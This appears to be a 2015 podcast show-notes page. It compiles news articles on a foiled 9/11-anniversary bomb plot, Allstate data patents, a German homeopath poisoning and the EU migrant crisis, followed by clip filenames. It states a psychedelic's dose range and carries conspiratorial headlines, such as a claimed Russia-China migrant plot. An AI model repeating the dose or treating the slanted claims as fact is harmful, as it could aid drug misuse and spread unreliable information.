''Who runs for office is really important,'' Clinton says in a video teaser for the interview, which will air Tuesday morning. ''And even if [West] just saying that helps spark a little boy or a little girl who was watching the VMAs to think, 'Oh wow, maybe I should do that,' that's awesome.''
For the record, Clinton said, ''You'd have to ask him'' whether West would really run for president. When pressed whether she'd vote for the Louis Vuitton Don, Clinton shrewdly said, ''I think it depends on who he'd be running against.'' (We'll give you three guesses who she's referring to.)
As for who he'd be running with, is it too soon to predict a West-Clinton ticket?
Watch a preview of Chelsea Clinton's MTV interview below.
MTV's Look Different campaign is teaming up with the Clinton Foundation for its No Ceilings project to shine a light on the empowerment of girls and women. MTV News sat down with Chelsea Clinton to talk about the partnership '-- but not without also asking about Kanye West's 2020 presidential announcement. See the full interview on Tuesday, Sept. 8 at 10:30 a.m. ET.
Posted by MTV on Monday, September 7, 2015
Related Stories'KanyeWest says he's running for president, admits he's high in epic VMAs speech'The Democratic Party approves of Kanye West's presidential run'Donald Trump weighs in on Kanye's presidential candidacy announcement
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VIDEO-Study: High Blood Pressure Treatments Too Weak - YouTube
Sat, 12 Sep 2015 10:43
VIDEO-Pentagon improperly stores and ships plague bacteria - YouTube
Sat, 12 Sep 2015 10:42
VIDEO-MUST WATCH: This Syrian girl just EXPOSED our media with in-depth video on #SyrianRefugee 'ܠ WayneDupree.com
Sat, 12 Sep 2015 10:34
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Trump announces presidential run; Teams already in place '' Iowa, New Hampshire, and South Carolina
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News Roundup: It Really Is A Mad, Mad World
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The 2016 Presidential Candidate Smorgasbord
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VIDEO-EU-Ukraine-Russia: You think this war is somewhere far away? - YouTube
Fri, 11 Sep 2015 20:37
VIDEO-Florida 'online troll' charged in alleged plot to bomb 9/11 memorial event in Kansas City | Fox News
Fri, 11 Sep 2015 20:27
A Florida man described as an "online troll" who posted as an ISIS supporter living in Australia was arrested Thursday and accused of trying to plan a bomb attack on a Sept. 11 memorial event in Kansas City this weekend.
The U.S. Attorney's Office said that Joshua Ryne Goldberg, 20, was arrested and charged with distributing information relating to explosives, destructive devices and weapons of mass destruction. He faces up to 20 years in prison if convicted.
A criminal complaint says Goldberg, of Orange Park, about 15 miles south of Jacksonville, began communicating online with an FBI informant in July and gave that person information on how to build a bomb with a pressure cooker, nails and rat poison. Instructions on how to build such devices have been widely publicized by Islamic terror groups, including Al Qaeda in the Arabian Peninsula's digital magazine "Inspire," which released its most recent issue this week.
An affidavit by U.S. Customs and Border Protection Agent William Berry said that investigators had been informed by Australian authorities that Goldberg had been identified as a "proponent of radical free speech." The affidavit says that Goldberg posed as an ISIS supporter living in Perth, Australia who used social media handles like "@AusSecret" "@AusWitness" and "Australi Witness."
The affidavit says that when he was arrested, Goldberg admitted to posting a Twitter message urging followers to attack a Muhammad Art Exhibit and Contest in Garland, Texas. Two Muslim men were killed by security on May 3 when they attempted to attack the event.
According to the affidavit, an Australian informant asked an online user believed to be Goldberg "Are you not all at concerned by the way that some of these jihardi [sic] nutcases might actually kill someone at your behest?"
Goldberg allegedly replied, "These guys are [expletive] keyboard warriors."
Fox 30 reported that a judge issued a search warrant for Goldberg's home Wednesday and undercover agents took him into custody less than 24 hours later. Neighbors told the station that they initially thought Goldberg was an intruder because they had never seen him before.
"They are active in the neighborhood association and their other kids come to community events, but the older son has never even walked down the street that I'm aware of," neighbor Al Keene said of the family. "I'm not surprised at all if his parents didn't know anything about this. They seem like a great family."
"We are not aware of anything at this point. There has not been a prehearing. We have not been told any information and that's all I can tell you," said Frank Goldberg, the suspect's father. It wasn't immediately clear if Goldberg had an attorney.
The criminal complaint says Goldberg instructed the informant to target the Kansas City 9-11 Memorial Stair Climb. The event involves 343 firefighters climbing 110 stories to the top of a downtown high-rise to pay tribute to the 343 FDNY firefighters killed in the Sept. 11, 2001 terror attacks.
In the affidavit, Berry says Goldberg admitted to instructing the informant to build and place the bomb, but claimed he hoped that the informant would either blow himself up constructing the device or give Goldberg enough time to alert law enforcement before the planned attack, letting him take credit for stopping it.
This year's memorial event was scheduled to take place on Sunday. Organizers told Fox4 the event would proceed as planned.
The complaint alleges that Goldberg settled on the Kansas City event because it was the closest major commemoration to where the informant lived. In one alleged conversation from Aug. 20 of this year, someone using a user name attributed to Goldberg asked the informant, "Have you decided what kind of attack to carry out on 9/11, akhi [brother]? I was thinking a bombing."
The informant agreed, saying "I've been having trouble with the planners in the dawlah [caliphate] who want me to just do a gun attack. But that doesn't seem big enough to bring true glory to Allah. Look at [Chattanooga] the kuff [unbelievers] have already forgotten."
"What city are you in akhi?" Goldberg allegedly asked later in the conversation. "We need to find the best place to place the explosive."
The informant responded, "I'm in the Midwest the closest place is Kansas City if you're familiar. But I can travel I'm just a student."
"All right [sic] so will you be able to drive to Kansas City to carry out the attack?" Goldberg allegedly asked.
"Yes Easily" was the response.
Friday is the 14th anniversary of the terror attacks that killed nearly 3,000 people at the World Trade Center, the Pentagon, and Shanksville, Pa.
Fox News' Matt Dean and the Associated Press contributed to this report.
Click for more from Fox30Jax.com.
Click for more from Fox4KC.com.
VIDEO-Neil deGrasse Tyson said what he thinks about race now that he's made it, and almost nobody noticed.
Fri, 11 Sep 2015 18:53
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VIDEO-Fox News: Russia and China plotted migrant invasion on Europe - YouTube
Fri, 11 Sep 2015 18:28
VIDEO-Why Allstate Wants to Monitor Your Driving, and Your Data | Chicago Tonight | WTTW
Fri, 11 Sep 2015 18:11
Patents recently issued to Northbrook-based insurance giant Allstate could allow the company to monitor your car for sources of distraction, collect health data on drivers, and even monitor what's going on around your vehicle.
The company says any new technology will improve driver safety, but some are worried it could violate the privacy of drivers, passengers and passers-by.
"We are in a very competitive market for auto insurance," said Don Griffin, vice president of Property Casualty Insurers Association of America. "So companies are trying to figure out how they can best position themselves and get a leg up on, perhaps, another competitor.
"The whole idea behind it is to get the consumer a better price," said Griffin. "Get them to pay what they think they should for the risk that they present to the insurance company."
"Data technology can be very helpful in terms of increasing safety," said Harold J. Krent, dean of IIT Chicago-Kent College of Law. "It's also important in terms of trying to predicate the right risk profile for an individual driver. But the question is, what's going to be done with this data? Will it be sold to health insurance companies, or banks? Will you get the information of an unwitting passenger also? What about the bystander on the street or about the driver in another car? Anybody who uses the patent '' whether it's Allstate or someone else '' should come up with very clear policies about what it will use the information for.
"One can give away one's own privacy, but it's hard to give away somebody else's privacy, and that's the danger inherent in this particular patent," said Krent.
Chicago Tribune reporter Becky Yerak said that Allstate had expressed an interest in selling collected data. "[The Allstate CEO] floated this a few months ago, where he said, 'We might envision selling this driving data someday.' And then in June, [Allstate] received this patent that sort of lays out the potential of selling this driving data to different industries, such as health insurance companies, banks, marketing companies. Their reasoning is, 'Well, maybe if somebody's an aggressive driver, they're going to be aggressive about how they handle their money.'"
Watch the video to hear our full conversation about the patents and issues surrounding them with Griffin, Krent and Yerak.
Background on the patents
This summer, Allstate has been issued patents that would allow the insurance agency to monitor habits of its policyholders. The insurance giant has also floated the idea of selling the information it collects.
In June, Allstate was issued a patent for a driving-behavior database that could monitor people's driving habits, as well as their physiological conditions while driving, such as heart rate and blood pressure, according to the Chicago Tribune:
''Most of the Allstate patent provides more detail on the company's potential vision for developing driver safety ratings based on such factors as vehicle speed, acceleration and adherence to stop signs. For example, operation of the vehicle without headlights and changes in vehicle direction without turn signals might be recorded.''
The Tribune stated it was unclear how drivers' physiological data would be used.
Earlier this month, Allstate received another patent which would allow for the use of cameras and sensors to record ''potential sources of driver distraction within the vehicle (e.g. pets, phone usage, unsecured objects in vehicle,'' according to an August Chicago Tribune article.
The patent also calls for the collection of information on nearby cars for traffic-based driving analysis, according to the Tribune article:
''In a particular flow of traffic, if most or all of the cars are speeding, then it might be safer for a driver to drive within the flow of traffic than to drive at the speed limit," Allstate said in its patent. "Similarly, an occurrence of sudden swerving or braking by a vehicle may indicate a high risk or unsafe driving behavior by a driver not paying attention to the road, but if many cars on the same road at or near the same time also brake or swerve suddenly,'' it could mean that there's a fallen tree or disabled vehicle.
''Usually the drill is to create as broad a patent as is defensible so the company can monetize it if someone else wants to license it,'' said Harold J. Krent, dean of IIT Chicago-Kent College of Law. ''But on the other hand, if they apply the patent at its broadest, there's huge implications in term of who gets the information, who it's shared with '' will the information go to health insurance companies, will it go to police authorities, to child custody attorneys? We simply don't know right now.''
Allstate, as well as other insurance companies, are already using technology to rate the driving habits of policyholders, who in exchange can qualify for discounts on their insurance through voluntary programs.
''What's important is full disclosure, to make sure people understand what information is being obtained, what protections are included, and who will have access to the information,'' Krent said.
Allstate issued the following statement on its patents:
''As part of Allstate's commitment to leverage innovation to improve driver safety, we filed this patent for prospective driver awareness technology a few years ago. The technology would provide drivers with broader information about traffic conditions and external factors that could better equip them to drive safe.''
VIDEO-US NEWS: 29 Holistic Doctors/ND's Poisoned, Some suffering "life threatening conditions" at Conference (Criminal investigation Underway) - Health Nut News
Fri, 11 Sep 2015 15:33
Our main source is US News and World Report, hence the title. Several have asked me if this is a satire piece. Like all my pieces I write- it is factual and very real.
29 ''holistic doctors/ naturopaths '' found lying in the garden'' and some staggering doubled over in pain, some in a ''life threatening'' state of poisoning from ''psychedelic drug 2C-E or Aquarust ''. They were all in attendance at an ''alt med'' Homeopathic Health Conference. Doctors and practitioners (those who could speak) allegedly said they didn't knowingly take anything they took that would cause this. Some were hallucinating and some still too sick to be questioned and hospitalized.
UPDATE: Some things are being lost in translation. The woman who allegedly let the naturopaths rent out her space also does dance instruction so some are posting comments this was a dance party '' false! ( FYI: translating articles from German to English on google- you lose things- hence the reason why I had now THREE actual German translators do it for me) It was not a dance party. Also the woman who allegedly said she saw them using tincture or cream and or applying something to their skin, but we have NO idea if A) if there really was anything harmful in these tinctures B) if there was and that was the method of how they became ill- who put it there.
15 ambulances along with a helicopter were sent in to help the holistic doctors and naturopaths at the homeopathic conference. Some found with ''life threatening conditions'' mainstream news reports.
Depending on the news sources these practitioners are called alt med/ holistic doctors or naturopaths, but one thing is clear: the articles state that experts at the scene said it didn't appear they knowingly ingested what made them ill. Some were extremely ill when the 15 ambulances and helicopter flew in to the rescue.
from the Independent UK (who initially put their headline '' we have screen shots- that ''homeopaths get high on drugs'' to something much more subtle that reads that chaos ensues at the conference (that sounds a bit more accurate)
Torsten Passie, a member of the German government's expert commission for narcotics, told NDR: ''It must have been a multiple overdose. That does not support the view that the people concerned took the hallucinogen knowingly.
''One has to assume that people were not told about the substance, its effects and risks before taking it.''
Police are reportedly looking into possibilities including the drug being taken as a joint experiment, or it being furtively given to conference participants as a prank.
No arrests have yet been made as the investigation continues into a possible violation of Germany's Narcotics Act.
I'm studying up on the drug in question, and here is a brief description. ''2C-E is a psychedelic phenethylamine of the 2C family. It was first synthesized by Alexander Shulgin. It is commonly active in the 10''20 mg range, taken orally or nasally and highly dose-sensitive''
From the another article:
''The questioning begins as soon as the persons are coherent and their statements are useable,'' said a police official quoted by the news agency DPA.
The psychedelic drug 2C-E or Aquarust was banned in Germany last year. It has an euphoric effect and, like Ecstasy and Speed, belongs to the group of synthetically-produced amphetamines.
Delusions, cramps, Life Threatening Conditions
Some 160 rescue personnel in 15 ambulances and a helicopter converged on Handeloh on Friday afternoon and rushed the 29 to various clinics in the Hamburg area.
The patients, aged between 24 and 56, were found suffering from delusions, breathing problems, racing hearts and cramps, some in life-threatening conditions, according to the public broadcaster NDR.
Naturopaths, doctors?
The news magazine ''Der Spiegel'' described those affected as alternative and homeopathic practitioners. NDR said doctors were also among the seminar group and suggested that participants might have taken part in a drug experiment. (Health Nut News note: There are mixed reports as the fire service spokesperson says the practitioners didn't knowingly take the drugs, yet there seems to be an investigation (some reports say) where they're suspecting they did (educated doctors taking drugs that put some in a life threatening state)
Fire service spokesman Mathias K¶hlbrandt told NDR that he had never experienced such as situation.
''Men and women lay with cramps in the garden and in front of the building,'' he said, adding they did not seem to have knowingly taken a drug.
Some were suffering delusions and even psychoses, NDR reported. Some patients were administered sedatives en route to hospital, said the emergency response physician who headed the rescue operation, Dr. Kai Rathjen.
From the second more tame article:
Authorities say emergency workers called to a conference center in northern Germany found some 30 practitioners staggering and suffering from cramps, apparently as a result of amphetamine poisoning.
Fire service spokesman Matthias Koehlbrandt told broadcaster NDR the group was aged between 25 and 55. NDR reported they were alternative and homeopathic practitioners, and that they were taken to the hospital.
Authorities said their preliminary finding was that the group was poisoned with amphetamines, but Koehlbrandt said they didn't knowingly take the substance.
In the wake of my unintentional series on holistic doctors dying, I had several people send this to me the last few days. I admit I scanned it, but only today saw the severity of the story. Again, the ones who could talk allegedy say the didn't knowingly ingest anything that would cause them to become deathly ill. (poisoned) A criminal investigation is underway according to at least one news source.
We hope all the practitioners will have a full recovery and will update you on the situation as soon as we have more information. This is Erin Elizabeth in Florida on Sept 7th , 2015
ABOUT THE FOUNDER OF HEALTH NUT NEWS
Erin Elizabeth is a long time ''health nut'' with a passion for the healing arts for 25 years. She's humbled that her site (under 2 yrs old) has cracked the top 20 natural health sites worldwide. She is an author, public speaker, and advocate for healthy living. You can get Erin's e-book here for free on how she overcame Lyme, a significant weight gain and more. You'll also get occasional updates on cutting edge health news and her upcoming TV appearances. Follow Erin on Facebook, Twitter, and Instagram.
VIDEO-'Siri' interrupts White House press briefing, answers Iran question | Fox News
Fri, 11 Sep 2015 14:27
Published September 10, 2015"Siri" tried to butt in on Thursday's White House press briefing.
The virtual iPhone personal assistant unexpectedly interjected when a reporter was asking Press Secretary Josh Earnest about the Iran nuclear deal, and whether President Obama was "upset" he couldn't get any Republicans on board.
A virtual voice could be heard in the room answering: "Sorry, I'm not sure what you want me to change."
Earnest laughed it off, as did the other reporters.
WATCH THE EXCHANGE WITH SIRI ABOVE
VIDEO-Officials: Fla. man planned Sept. 11 anniversary terror plot - CBS News
Fri, 11 Sep 2015 13:03
Last Updated Sep 10, 2015 9:06 PM EDT
KANSAS CITY -- Federal officials say they have arrested a Florida man and broken up a plot for a terror attack planned for a Sept. 11 memorial event in Kansas City.
CBS News' Jeff Pegues reports that the annual event is called the Kansas City Stair Climb and was set to take place on Sunday to honor the Sept. 11 attacks.
Investigators say they have arrested Joshua Ryne Goldberg, 20, of Orange Park, Florida for distributing information relating to explosives, destructive devices, and weapons of mass destruction.
KCTV5
Pegues reports that he had been under surveillance for weeks and was unaware he was actually talking to an informant.
According to the criminal complaint, Goldberg was in contact, through online communications, with an informant. Between the months of July and September 2015, Goldberg distributed information to the informant on how to manufacture a bomb.
"Get FAR away from the bomb, brother," Goldberg allegedly wrote in a conversation online with an informant to the FBI reports CBS affiliate KCTV. "There's going to be chaos when it goes off. Shrapnel, blood and panicking (expletive for non-Muslims) will be everywhere."
Orange Park man allegedly planned the attack for an event in Kansas City.
CBS affiliate JAX
KCTV reports that investigators say in a Twitter exchange the suspect says, "Alright so will you be able to drive to Kansas City to carry out the attack?" The confidential informant replies with, "Yes Easily".
He instructed the informant to make a pressure cooker bomb and fill it with nails, metal and other items dipped in rat poison.
Pegues reports that law enforcement initially thought Goldberg was in Australia and he was also on the radar of Australian police. It turns out Goldberg was in a town near Jacksonville, Florida.
Firefighters participating in the memorial climb in Kansas City.
CBS affiliate KCTV
On the event website, the Kansas City 9-11 Memorial Stair Climb is described as an event where 343 firefighters embark on a 110 story climb to the top of the Town Pavilion high rise in downtown Kansas City. The event is held in remembrance of the 343 firefighters killed on Sept. 11, 2001.
There are other similar events across the country.
If convicted, the suspect faces a maximum penalty of 20 years in federal prison.
(C) 2015 CBS Interactive Inc. All Rights Reserved.
VIDEO-Hearing Worldwide Cybersecurity Threats | Video | C-SPAN.org
Fri, 11 Sep 2015 05:49
September 10, 2015John Brennan, James Clapper, James Comey, and others testified at a hearing on worldwide cybersecurity threats.
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*This transcript was compiled from uncorrected Closed Captioning.
Related VideoFebruary 4, 2014Global Threats to the U.S.Intelligence officials testified on global threats to the U.S. Topics included the operation of al-Qaida training camps'...
February 26, 2015Global Terror ThreatsJames Clapper and Lieutenant General Vincent Stewart testified at a Senate Armed Services Committee hearing on global'...
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Clips from This VideoView all clips from this video
VIDEO-Comey Dark Web Isnt Dark | Video | C-SPAN.org
Fri, 11 Sep 2015 05:46
Created by an anonymous useron September 10, 2015
FBI Director James Comey testifies that criminals "use the onion router to hide their communications.. They think that if they go to the'... read more
FBI Director James Comey testifies that criminals "use the onion router to hide their communications.. They think that if they go to the dark web'... that they can hide from us." But, he says: "They're kidding themselves, because of the effort that's been put in by all of us in the government over the last five years or so, that they are out of our view." close
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*This transcript was compiled from uncorrected Closed Captioning.
Clips from This VideoView all clips from this videoRelated VideoFebruary 4, 2014Global Threats to the U.S.Intelligence officials testified on global threats to the U.S. Topics included the operation of al-Qaida training camps'...
February 26, 2015Global Terror ThreatsJames Clapper and Lieutenant General Vincent Stewart testified at a Senate Armed Services Committee hearing on global'...
November 20, 2014Cybersecurity ThreatsAdmiral Michael Rogers testified on the possibility of a major cyber attack coming from a foreign power.'‚He stated'...
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VIDEO-UN Live United Nations Web TV - Gordon Brown, UN Special Envoy for Global Education, on Syrian refugee children
Fri, 11 Sep 2015 05:41
Gordon Brown, UN Special Envoy for Global Education, on Syrian refugee children
10 Sep 2015 - Mr. Gordon Brown, UN Special Envoy for Global Education on ways to help Syrian refugee children
Gordon Brown, UN Special Envoy for Global Education, on Syrian refugee children
VIDEO-Ken O'Keefe on the Syrian conflict. Hard truths. - YouTube
Thu, 10 Sep 2015 21:31
Migrant crisis: Key talks in Prague amid quota row - BBC News
Fri, 11 Sep 2015 05:55
Image copyrightAFPImage caption The authorities in Hungary have been warned to expect 40,000 more migrants by next week The foreign ministers of four Central European nations are to meet their counterparts from Germany and current EU presidency holder Luxembourg, amid a growing row over migrant quotas.
The Czech Republic, Hungary, Poland and Slovakia reject quotas proposed by the EU Commission and backed by Germany.
The talks in Prague are expected to focus on this issue.
The Commission wants 120,000 additional asylum seekers per year to be shared out between 28 members.
This would be a sharp increase from the current 40,000.
In recent weeks, tens of thousands of migrants have been desperately trying to flee conflicts in countries like Syria and Libya. Many of them travel through Hungary to Germany, Austria and Sweden - wealthier EU nations with more liberal asylum laws.
Europe migrant crisis: Are you affected?
Can the EU overcome rifts?
What next for Germany's asylum seekers?
What can the EU do to solve the crisis?
Nine key moments in crisis
'Differing views'The Central European nations - the so-called Visegrad-four - have all rejected the proposed compulsory quotas.
Image copyrightAPImage caption Hungary's razor-wire fence has so far failed to stop thousands of people getting through from Serbia Image copyrightAFPImage caption Many migrants start they perilous journey from Turkey - crossing the sea to Greek islands This is despite the fact that each of them would take in far fewer refugees than Germany if the EU backs the proposals.
Ahead of the Prague meeting, the Czech Foreign Ministry said it was aimed at improving "better mutual understanding among EU member states... [in light of] some differing views".
Hungary in particular has become a key point on the journey north for the migrants, with more than 150,000 people arriving this year.
On Wednesday, the Hungarian army started military exercises to prepare for a possible future role in guarding the border and stemming the flow of people - a move criticised by human rights groups.
A new razor-wire barrier is also being built along the country's border with Serbia.
The authorities in Hungary have been told to expect 40,000 more migrants by next week.
In other developments:
President Barack Obama's spokesman has confirmed the US will increase its refugee intake from Syria to at least 10,000 in 2016. America has so far accepted 1,500Ireland says it will take in 4,000 refugees, including 1,120 people it had already agreed to receiveThe UK says it will resettle 20,000 Syrian refugees from camps surrounding Syria by 2020Syrian criticismOn Wednesday, European Commission President Jean-Claude Juncker announced plans to distribute 120,000 refugees from Greece, Italy and Hungary among member states via binding quotas.
This would be on top of a proposal in May to share 40,000 refugees from just Greece and Italy.
The European parliament backed Mr Juncker's plans on Thursday and they will now have to get the go-ahead from member states.
Meanwhile, Syria's Information Minister Omran al-Zoubi said in rare comments on the issue that Europe should bear full responsibility for the crisis, adding that most Syrians who had left were fleeing areas held by the government's rivals, including Islamic State (IS).
He criticised European countries for sending "terrorists" to his country, referring to the thousands of Europeans who have travelled to Syria and Iraq to fight with IS.
BBC correspondents covering the migrant crisis on TwitterLyse Doucet at the Macedonia-Greece border: "Ahmed & cousins from #Aleppo hoping to find body of brother who drowned in #Greece."Anna Holligan at Roszke on the Hungarian border: "Relentless flow of people.. #Hungary's response, send in the troops"Bethany Bell in Nickelsdorf, Austria: "Bottleneck to get on buses at Austrian border. Families trying not to get separated. Buses all going to train station"A note on terminology: The BBC uses the term migrant to refer to all people on the move who have yet to complete the legal process of claiming asylum. This group includes people fleeing war-torn countries such as Syria, who are likely to be granted refugee status, as well as people who are seeking jobs and better lives, who governments are likely to rule are economic migrants.

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Agenda 2030

CNN-Addresses-97-percent-number.mp3

Armageddon

September-1- 23-Asteroid Kill Zone.mp3
September-2- 23-Missionary Evangelist Robert Breaker.mp3
September-3- 23-Dr. Tara Shears speaks at a TEDx Talks forum about Dark Matter.mp3
September-4- 23-French FM with Kerry 500 days.mp3
September-5- 23-Isaac Newton.mp3
September-6- 23-SHEMITA 7 year cycle-Jeff Berwick TDV.mp3

Caliphate

Australian report on Goldberg troll.mp3
goldberg-criminal-complaint-with-affidavit.pdf
Mike Morrell on CENTCOM doctoring of ISIS analysis.mp3
Retired FBI agent- Law enforcement did job in stopping bomb plot.mp3

CYBER!

Comey- Dark Web Isn't Dark to Him.mp3
Cybersecurity on the hill-1-Adm Michael ROgers-MANIPULATING THE DATA.mp3
Cybersecurity on the hill-2-Comey on encryption-YAH GOOGLE!.mp3
Cybersecurity on the hill-3-Adm Rogers-DoD and Pres-NO CONGRESS?.mp3

Earon

Rep. Bill Johnson (R) Ohio Apologizes in Advance for Iranian Nuclear Attack.mp3
Scarborough Scolds Mika for Suggesting Schumer Controlled by Jewish Lobby.mp3

Election 2016

Perry drops out of presedential race.mp3
The Wilks Brothers- The newest mega-donors.mp3

F-Russia

Obama on Troop Talk re- Russia and Syria.mp3

Hillary 2016

Chelsea Kanye Disctraction.mp3
Hillary on Ellen-Montage.mp3
Meliss Harris-Perry with Frm Brdley Campaign manager-Hillar-Palin WTF.mp3

JCD Clips

adding transit to maps on apple watch.mp3
CBS on syrian artifacts conclusion.mp3
David Muir on road explain exodus.mp3
google maps and rising tides.mp3
long welsh town name.mp3
quantico FBI ad.mp3
saudis bombing water bottling plant.mp3
shotened Clip of town name.mp3
terrorism weak six week cycle.mp3
tim cook defines ipad.mp3

Migrants

Caitlin McFarland-Fox News- Russia and China plotted migrant invasion on Europe.mp3
Migrant crisis- People treated 'like animals' in Hungary camp.mp3
RT-EUROPE FLOODED WITH REPORTS OF “ISIS TERRORISTS” POSING AS REFUGEES.mp3

Shut Up Slave!

Allstate-1- Wants to Monitor Your Driving, and Your Data-BAD!.mp3
Allstate-2- Wants to Monitor Your Driving, and Your Data-GOOD!.mp3
Allstate-3- Wants to Monitor Your Driving, and Your Data-GOOGLE!.mp3
Man severely injured after e-cigarette explodes in his mouth.mp3
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